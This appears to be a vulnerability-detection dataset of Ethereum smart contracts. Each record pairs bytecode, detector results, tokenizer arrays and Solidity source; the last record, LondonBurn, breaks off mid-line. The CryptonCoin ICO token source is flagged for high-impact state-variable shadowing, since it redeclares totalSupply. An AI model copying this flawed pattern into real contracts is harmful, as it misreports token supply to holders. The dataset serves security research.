416825291909152205490565b3390565b6001600160a01b0383166105ce5760405162461bcd60e51b81526004018080602001828103825260248152602001806109926024913960400191505060405180910390fd5b6001600160a01b0382166106135760405162461bcd60e51b81526004018080602001828103825260228152602001806108fd6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166106ba5760405162461bcd60e51b815260040180806020018281038252602581526020018061096d6025913960400191505060405180910390fd5b6001600160a01b0382166106ff5760405162461bcd60e51b81526004018080602001828103825260238152602001806108da6023913960400191505060405180910390fd5b61070a8383836108d4565b61074d8160405180606001604052806026815260200161091f602691396001600160a01b038616600090815260208190526040902054919063ffffffff6107dc16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610782908263ffffffff61087316565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000818484111561086b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610830578181015183820152602001610818565b50505050905090810190601f16801561085d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156108cd576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207fdf5dba27f6013139e0a19db69d066e2b66e3188124fded969cd8f566869b4364736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2487, 26337, 2629, 2497, 12376, 2475, 2497, 14141, 2094, 2683, 10322, 16409, 2683, 2063, 26187, 19317, 2278, 2629, 2278, 28756, 23833, 2549, 2546, 21472, 17465, 2692, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 5025, 4604, 2121, 1006, 2004, 2521, 2004, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,647
0x971fdec17b5f70d98d3a1017034499cf7172d9b4
pragma solidity ^0.4.4; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract Token { /// @return total amount of tokens function totalSupply() public constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); } contract StandardToken is Token, SafeMath { mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] = safeSub(balances[msg.sender], _value); // Subtract from the sender totalSupply = safeSub(totalSupply,_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowed[_from][msg.sender]); // Check allowance balances[_from] = safeSub(balances[_from],_value); // Subtract from the targeted balance allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value); // Subtract from the sender's allowance totalSupply = safeSub(totalSupply,_value); // Update totalSupply emit Burn(_from, _value); return true; } } contract CryptonCoin is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; address public fundsWallet; address public contractAddress; uint256 public preIcoSupply; uint256 public preIcoTotalSupply; uint256 public IcoSupply; uint256 public IcoTotalSupply; uint256 public maxSupply; uint256 public totalSupply; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; bool public ico_finish; bool public token_was_created; uint256 public preIcoFinishTimestamp; uint256 public fundingEndTime; uint256 public finalTokensIssueTime; function CryptonCoin() public { fundsWallet = msg.sender; name = "CRYPTON"; symbol = "CRN"; decimals = 18; balances[fundsWallet] = 0; totalSupply = 0; preIcoTotalSupply = 14400000000000000000000000; IcoTotalSupply = 36000000000000000000000000; maxSupply = 72000000000000000000000000; unitsOneEthCanBuy = 377; preIcoFinishTimestamp = 1524785992; // Thu Apr 26 23:39:52 UTC 2018 fundingEndTime = 1528587592; // Sat Jun 9 23:39:52 UTC 2018 finalTokensIssueTime = 1577921992; // Wed Jan 1 23:39:52 UTC 2020 contractAddress = address(this); } function() public payable { require(!ico_finish); require(block.timestamp < fundingEndTime); require(msg.value != 0); totalEthInWei = totalEthInWei + msg.value; uint256 amount = 0; uint256 tokenPrice = unitsOneEthCanBuy; if (block.timestamp < preIcoFinishTimestamp) { require(msg.value * tokenPrice * 13 / 10 <= (preIcoTotalSupply - preIcoSupply)); tokenPrice = safeMul(tokenPrice,13); tokenPrice = safeDiv(tokenPrice,10); amount = safeMul(msg.value,tokenPrice); preIcoSupply = safeAdd(preIcoSupply,amount); balances[msg.sender] = safeAdd(balances[msg.sender],amount); totalSupply = safeAdd(totalSupply,amount); emit Transfer(contractAddress, msg.sender, amount); } else { require(msg.value * tokenPrice <= (IcoTotalSupply - IcoSupply)); amount = safeMul(msg.value,tokenPrice); IcoSupply = safeAdd(IcoSupply,amount); balances[msg.sender] = safeAdd(balances[msg.sender],amount); totalSupply = safeAdd(totalSupply,amount); emit Transfer(contractAddress, msg.sender, amount); } } function withdraw() public { require(msg.sender == fundsWallet); fundsWallet.transfer(contractAddress.balance); } function createTokensForCrypton() public returns (bool success) { require(ico_finish); require(!token_was_created); if (block.timestamp > finalTokensIssueTime) { uint256 amount = safeAdd(preIcoSupply, IcoSupply); amount = safeMul(amount,3); amount = safeDiv(amount,10); balances[fundsWallet] = safeAdd(balances[fundsWallet],amount); totalSupply = safeAdd(totalSupply,amount); emit Transfer(contractAddress, fundsWallet, amount); token_was_created = true; return true; } } function stopIco() public returns (bool success) { if (block.timestamp > fundingEndTime) { ico_finish = true; return true; } } function setTokenPrice(uint256 _value) public returns (bool success) { require(msg.sender == fundsWallet); require(_value < 1500); unitsOneEthCanBuy = _value; return true; } } //Based on the source from hashnode.com //CREATED BY MICHAŁ MICHALSKI @YSZTY with CRYPTON.VC
0x6060604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630214e9cf146104ec57806306fdde0314610515578063095ea7b3146105a357806318160ddd146105fd5780631ce7d9da146106265780632194f3a21461065357806323b872dd146106a8578063313ce56714610721578063363db35d146107505780633ccfd60b1461077957806342966c681461078e57806345ff59b2146107c957806351f550be146107f657806354fd4d501461081f57806365f2bc2e146108ad5780636a61e5fc146108d657806370a082311461091157806374eedd461461095e57806379cc6790146109875780637b274afc146109e15780638b3e23d914610a0e578063933ba41314610a3757806395d89b4114610a60578063a293d1e814610aee578063a9059cbb14610b2e578063ada1b74e14610b88578063b5931f7c14610bb1578063b5d7eca514610bf1578063d05c78da14610c1e578063d5abeb0114610c5e578063dd62ed3e14610c87578063e6cb901314610cf3578063ef7c9ecd14610d33578063f6b4dfb414610d5c575b600080601160009054906101000a900460ff161515156101cb57600080fd5b601354421015156101db57600080fd5b600034141515156101eb57600080fd5b346010540160108190555060009150600f54905060125442101561038f57600954600a5403600a600d8334020281151561022157fe5b041115151561022f57600080fd5b61023a81600d610db1565b905061024781600a610de2565b90506102533482610db1565b915061026160095483610e06565b6009819055506102af6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e06565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102fd600e5483610e06565b600e819055503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36104e8565b600b54600c5403813402111515156103a657600080fd5b6103b03482610db1565b91506103be600b5483610e06565b600b8190555061040c6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e06565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061045a600e5483610e06565b600e819055503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b5050005b34156104f757600080fd5b6104ff610e22565b6040518082815260200191505060405180910390f35b341561052057600080fd5b610528610e28565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561056857808201518184015260208101905061054d565b50505050905090810190601f1680156105955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105ae57600080fd5b6105e3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ec6565b604051808215151515815260200191505060405180910390f35b341561060857600080fd5b610610610fb8565b6040518082815260200191505060405180910390f35b341561063157600080fd5b610639610fbe565b604051808215151515815260200191505060405180910390f35b341561065e57600080fd5b610666610fd1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106b357600080fd5b610707600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ff7565b604051808215151515815260200191505060405180910390f35b341561072c57600080fd5b610734611283565b604051808260ff1660ff16815260200191505060405180910390f35b341561075b57600080fd5b610763611296565b6040518082815260200191505060405180910390f35b341561078457600080fd5b61078c61129c565b005b341561079957600080fd5b6107af6004808035906020019091905050611395565b604051808215151515815260200191505060405180910390f35b34156107d457600080fd5b6107dc6114d7565b604051808215151515815260200191505060405180910390f35b341561080157600080fd5b6108096116f7565b6040518082815260200191505060405180910390f35b341561082a57600080fd5b6108326116fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610872578082015181840152602081019050610857565b50505050905090810190601f16801561089f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156108b857600080fd5b6108c061179b565b6040518082815260200191505060405180910390f35b34156108e157600080fd5b6108f760048080359060200190919050506117a1565b604051808215151515815260200191505060405180910390f35b341561091c57600080fd5b610948600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061181f565b6040518082815260200191505060405180910390f35b341561096957600080fd5b610971611867565b6040518082815260200191505060405180910390f35b341561099257600080fd5b6109c7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061186d565b604051808215151515815260200191505060405180910390f35b34156109ec57600080fd5b6109f4611b41565b604051808215151515815260200191505060405180910390f35b3415610a1957600080fd5b610a21611b75565b6040518082815260200191505060405180910390f35b3415610a4257600080fd5b610a4a611b7b565b6040518082815260200191505060405180910390f35b3415610a6b57600080fd5b610a73611b81565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ab3578082015181840152602081019050610a98565b50505050905090810190601f168015610ae05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610af957600080fd5b610b186004808035906020019091908035906020019091905050611c1f565b6040518082815260200191505060405180910390f35b3415610b3957600080fd5b610b6e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611c3b565b604051808215151515815260200191505060405180910390f35b3415610b9357600080fd5b610b9b611dc0565b6040518082815260200191505060405180910390f35b3415610bbc57600080fd5b610bdb6004808035906020019091908035906020019091905050610de2565b6040518082815260200191505060405180910390f35b3415610bfc57600080fd5b610c04611dc6565b604051808215151515815260200191505060405180910390f35b3415610c2957600080fd5b610c486004808035906020019091908035906020019091905050610db1565b6040518082815260200191505060405180910390f35b3415610c6957600080fd5b610c71611dd9565b6040518082815260200191505060405180910390f35b3415610c9257600080fd5b610cdd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ddf565b6040518082815260200191505060405180910390f35b3415610cfe57600080fd5b610d1d6004808035906020019091908035906020019091905050610e06565b6040518082815260200191505060405180910390f35b3415610d3e57600080fd5b610d46611e66565b6040518082815260200191505060405180910390f35b3415610d6757600080fd5b610d6f611e6c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600081830290506000831480610dd15750818382811515610dce57fe5b04145b1515610ddc57600080fd5b92915050565b60008082111515610df257600080fd5b8183811515610dfd57fe5b04905092915050565b60008183019050828110151515610e1c57600080fd5b92915050565b60125481565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ebe5780601f10610e9357610100808354040283529160200191610ebe565b820191906000526020600020905b815481529060010190602001808311610ea157829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600e5481565b601160009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006110416000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c1f565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611109600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c1f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d16000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e06565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b600c5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112f857600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561139357600080fd5b565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156113e457600080fd5b61142c6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c1f565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147a60025483611c1f565b6002819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600080601160009054906101000a900460ff1615156114f557600080fd5b601160019054906101000a900460ff1615151561151157600080fd5b6014544211156116f257611529600954600b54610e06565b9050611536816003610db1565b905061154381600a610de2565b90506115af600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610e06565b600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061161f600e5482610e06565b600e81905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36001601160016101000a81548160ff021916908315150217905550600191506116f3565b5b5090565b600b5481565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117935780601f1061176857610100808354040283529160200191611793565b820191906000526020600020905b81548152906001019060200180831161177657829003601f168201915b505050505081565b600f5481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ff57600080fd5b6105dc8210151561180f57600080fd5b81600f8190555060019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60135481565b6000816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156118bc57600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561194757600080fd5b61198f6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c1f565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a57600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c1f565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae360025483611c1f565b6002819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000601354421115611b71576001601160006101000a81548160ff02191690831515021790555060019050611b72565b5b90565b60095481565b60105481565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c175780601f10611bec57610100808354040283529160200191611c17565b820191906000526020600020905b815481529060010190602001808311611bfa57829003601f168201915b505050505081565b6000828211151515611c3057600080fd5b818303905092915050565b6000611c856000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c1f565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d0f6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e06565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60145481565b601160019054906101000a900460ff1681565b600d5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a723058209c24a1c9db0e00297979f819f1930012fb5fea7c3d7f5f4b12fa16621118985b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2487, 2546, 3207, 2278, 16576, 2497, 2629, 2546, 19841, 2094, 2683, 2620, 2094, 2509, 27717, 24096, 19841, 22022, 26224, 2683, 2278, 2546, 2581, 16576, 2475, 2094, 2683, 2497, 2549, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1018, 1025, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 3647, 6342, 2497, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 1039, 1027, 1037, 1011, 1038, 1025, 1065, 3853, 3647, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,648
0x971fe57134d1b1b3d8d62ccadff1d2cf67e2b8ce
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20.sol"; import "./ERC721.sol"; import "./Ownable.sol"; import "./utils/Signature.sol"; contract LondonBurn is Ownable, ERC721, Signature { address public mintingAuthority; address public minter; string public contractURI; mapping(uint256 => string) public tokenIdToUri; mapping(uint256 => uint256) public tokenTypeSupply; mapping(bytes32 => uint256) contentHashToTokenId; string public baseMetadataURI; struct MintCheck { address to; uint256 tokenType; string[] uris; bytes signature; } struct ModifyCheck { uint256[] tokenIds; string[] uris; bytes signature; } // events event MintCheckUsed(uint256 indexed tokenId, bytes32 indexed mintCheck); event ModifyCheckUsed(uint256 indexed tokenId, bytes32 indexed modifyCheck); constructor ( string memory name_, string memory symbol_ ) ERC721(name_, symbol_) { } function setContractURI(string calldata newContractURI) external onlyOwner { contractURI = newContractURI; } function setMinter(address _minter) external onlyOwner { minter = _minter; } function setMintingAuthority(address _mintingAuthority) external onlyOwner { mintingAuthority = _mintingAuthority; } modifier onlyMinter() { require(minter == _msgSender(), "Caller is not the minter"); _; } function setBaseMetadataURI(string memory _baseMetadataURI) public onlyOwner { baseMetadataURI = _baseMetadataURI; } function _baseURI() override internal view virtual returns (string memory) { return baseMetadataURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); require(abi.encodePacked(tokenIdToUri[tokenId]).length != 0, "ERC721Metadata: URI query for nonexistent token URI"); return string(abi.encodePacked(_baseURI(), tokenIdToUri[tokenId])); } function getMintCheckHash(MintCheck calldata _mintCheck) public pure returns (bytes32) { bytes memory input = abi.encodePacked(_mintCheck.to, _mintCheck.tokenType); for (uint i = 0; i < _mintCheck.uris.length; ++i) { input = abi.encodePacked(input, _mintCheck.uris[i]); } return keccak256(input); } function verifyMintCheck( MintCheck calldata _mintCheck ) public view returns (bool) { bytes32 signedHash = getMintCheckHash(_mintCheck); (bytes32 r, bytes32 s, uint8 v) = splitSignature(_mintCheck.signature); return isSigned(mintingAuthority, signedHash, v, r, s); } function mintTokenType(MintCheck calldata _mintCheck) external onlyMinter { bytes32 mintCheckHash = getMintCheckHash(_mintCheck); (bytes32 r, bytes32 s, uint8 v) = splitSignature(_mintCheck.signature); require(isSigned(mintingAuthority, mintCheckHash, v, r, s), "Mint check is not valid"); for (uint i = 0; i < _mintCheck.uris.length; ++i) { bytes32 contentHash = keccak256(abi.encodePacked(_mintCheck.uris[i])); require(contentHashToTokenId[contentHash] == 0, "Mint check has already been used"); uint tokenId = (_mintCheck.tokenType | ++tokenTypeSupply[_mintCheck.tokenType]); _mint(_mintCheck.to, tokenId); tokenIdToUri[tokenId] = _mintCheck.uris[i]; contentHashToTokenId[contentHash] = tokenId; emit MintCheckUsed(tokenId, mintCheckHash); } } function getModifyCheckHash(ModifyCheck calldata _modifyCheck) public pure returns (bytes32) { bytes memory input = abi.encodePacked(""); for (uint i = 0; i < _modifyCheck.tokenIds.length; ++i) { input = abi.encodePacked(input, _modifyCheck.tokenIds[i]); } for (uint i = 0; i < _modifyCheck.uris.length; ++i) { input = abi.encodePacked(input, _modifyCheck.uris[i]); } return keccak256(input); } function verifyModifyCheck( ModifyCheck calldata _modifyCheck ) public view returns (bool) { bytes32 signedHash = getModifyCheckHash(_modifyCheck); (bytes32 r, bytes32 s, uint8 v) = splitSignature(_modifyCheck.signature); return isSigned(mintingAuthority, signedHash, v, r, s); } function modifyBaseURIByModifyCheck(ModifyCheck calldata _modifyCheck) external { require(_modifyCheck.tokenIds.length == _modifyCheck.uris.length, "tokenIds mismatch with 